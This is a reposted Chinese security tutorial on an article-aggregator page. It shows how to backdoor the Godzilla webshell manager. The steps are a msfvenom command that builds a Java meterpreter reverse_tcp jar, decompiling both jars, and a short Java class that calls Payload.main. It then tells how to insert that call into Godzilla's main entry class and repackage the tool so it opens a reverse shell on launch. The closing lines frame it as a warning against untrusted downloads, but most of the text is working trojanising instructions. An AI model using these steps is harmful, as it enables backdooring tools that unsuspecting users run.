Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:17822 篇
已收录公众号数量:91 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
阿里云先知 网安寻路人 网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
给哥斯拉 webshell 管理工具加后门
本文来自公众号:黑客技术与网络安全   2021.01.13 08:30:14


来自公众号: 信安之路

Java 反编译是分析 Java 程序的基本手段,也是对一些 Java 程序二次开发的基本前提,可用于反编译的工具有很多,比如 JD-GUI,CRF 等,个人比较常用的是 IntelliJ IDEA 自带的反编译功能,其功能足够强大,能够完成大多数需求。

本文简单介绍通过反编译 MSF 生成 java 后门和 WebShell 管理工具哥斯拉,并用最简单的方式将后门加入哥斯拉中。

MSF 的 Java 后门

MSF 提供了多种类型的后门,我们可以生成一个恶意的 jar 包,此处作为演示就使用最简单且没有经过加密处理的后门。

msfvenom --payload="java/meterpreter/reverse_tcp" LHOST=127.0.0.1 LPORT=9999 -f jar > java_shell.jar

打开的 Jar 包可以看到,其中有个 metasploit.bat,里面的 HOST 就是 MSF 控制端的 IP,这样就可以通过修改这个文件来修改服务端的 IP,而无需修改生成的 class 文件。

使用 IntelliJ IDEA 中内置的 java-decompiler.jar 进行反编译,该工具在 %IntelliJ IDEA 的安装路径 %\plugins\java-decompiler\lib\ 下。

java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true 目标jar文件 输出路径

得到反编译后的文件,用 IntelliJ IDEA 新建一个普通的 Java 项目,将反编译的文件加入项目文件中,目的是为了全局搜索关键字定位代码位置。并在 src 文件中创建新的代码,此处将 Payload.java 复制一份,进行调试,观察代码流程。如下图所示,会将 Payload.class 和 metasploit.dat 缓存进 Temp 目录,然后通过 Runtime 来调用 java 进程来执行缓存的 Payload.class 类,这样一来 shell 就独立于当前进程在执行。

也正因如此,Payload.class 需要保持它原有的 Main 方法作为调用的入口,所以在其他程序中,可以通过调用 main 方法来执行 shell。

package core;import metasploit.Payload;public class RunShell {    public static void main(String[] args) throws Exception {        Payload.main(new String[]{"shell"});    }}

将后门加入哥斯拉

根据同样的方法对哥斯拉进行反编译,与之前不同的是将哥斯拉原本的Jar文件作为依赖添加进项目,这样做的好处在于不需要对全部的源码进行修改,只需在 src 文件中创建想要修改的文件,进行修改后再打包便可以完成改动。由于反编译出来的代码会存在各种问题,面对一片爆红的错误就要费很多时间进行修改,因此对反编译的源码进行修改的时候,尽可能的不改动过多文件。另外创建普通的 Java 项目就好,如果创建 Maven 项目,可能会在获取资源文件上存在一些路径上的问题。

查看 MANIFEST.MF 文件,看到入口类是 core.ui.MainActivity ,将其复制一份,并将后门文件也复制进项目文件。(metasploit.bat 文件也要),然后在 MainActivity 类中的 main 方法中调用 Payload.main() 即可。

重新打包以后,执行后就会反弹一个 MSFshell。

最后

以一个简单的小例子介绍了如何使用反编译对 Jar 项目进行源码修改,也由此可见在一些工具中加入后门是轻而易举的事情。而从 GitHub 上下载来的哥斯拉火狐浏览器就会报毒,而为了使用它以及对作者的信任我们自然而然的会选择信任该程序。那么此时,通过其他渠道下载有后门的哥斯拉同样报毒,你是否又会选择相信?

总之,尽可能不使用来路不明的工具!!!

推荐↓↓↓

Linux学习